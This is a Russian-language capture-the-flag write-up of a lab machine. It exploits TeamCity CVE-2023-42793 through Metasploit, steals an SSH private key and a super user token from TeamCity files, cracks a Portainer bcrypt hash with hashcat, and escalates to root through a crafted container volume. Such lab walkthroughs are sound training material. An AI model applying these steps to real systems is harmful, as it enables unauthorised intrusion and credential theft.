Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/322.

Также на https://boosty.to/kiberdruzhinnik/posts/73926d9c-a0ff-4a8f-b2b0-09c764115e20 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

При сканировании портов обнаруживаем стандартное:

Open 10.129.168.255:80
Open 10.129.168.255:22

Веб

На 80 порту у нас такое:

alt text

И сразу находим тимсити:

alt text

Версия Teamcity 2023.05.3, быстрый гуглеж показывает, что она уязвима к CVE-2023-42793 - мы можем создать привилегированного пользователя.

Я воспользовался exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793 из mfsconsole и получил шелл.

alt text

По переменным окружения находим каталог с данными Teamcity и внутри обнаруживаем один из приватных ключей для SSH.

meterpreter > ls
Listing: /data/teamcity_server/datadir/config/projects/AllProjects/pluginData/ssh_keys
======================================================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100640/rw-r-----  2590  fil   2024-02-28 22:56:44 +0300  id_rsa

Чтобы понять, какому пользователю принадлежит ключ, надо залогиниться в Teamcity - для этого просмотрим в логи: нам интересен файл /opt/teamcity/logs/teamcity-server.log, в котором поищем фразу Super user authentication token.

С помощью такого токена можно залогиниться в вебку в качестве администратора - просто нужно ввести в качестве пароля при пустом логине.

А вот и пользователи:

alt text

Попробуем подключиться с приватным ключом как один из этих пользователей и получаем шелл как john:

chmod 600 id_rsa
ssh -i id_rsa [email protected]

Флаг пользователя

alt text

Повышение привилегий

Посмотрим на сетевые соединения и обнаружим интересный порт 9443:

$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:5005          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:9443          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:8111          0.0.0.0:*               LISTEN      off (0.00/0/0)

Пробросим порт на локальную машину и уткнемся в портейнер:

alt text

Качаем встроенную базу данных (в каталоге данных TeamCity /data/teamcity_server/datadir/system):

$ mkdir system
meterpreter> lcd system
meterpreter> download buildserver.*

По строкам в файле находим его хеш:

alt text

Далее просто брутим и логинимся в портейнер:

hashcat -a 0 -m 3200 hash.txt ~/wordlists/rockyou.txt

alt text

Создадим volume с хитрыми параметрами:

alt text

Теперь создадим контейнер:

alt text

alt text

alt text

Провалимся в терминал созданного контейнера в качестве root и получаем доступ в качестве суперпользователя к файловой системе.

Флаг суперпользователя

alt text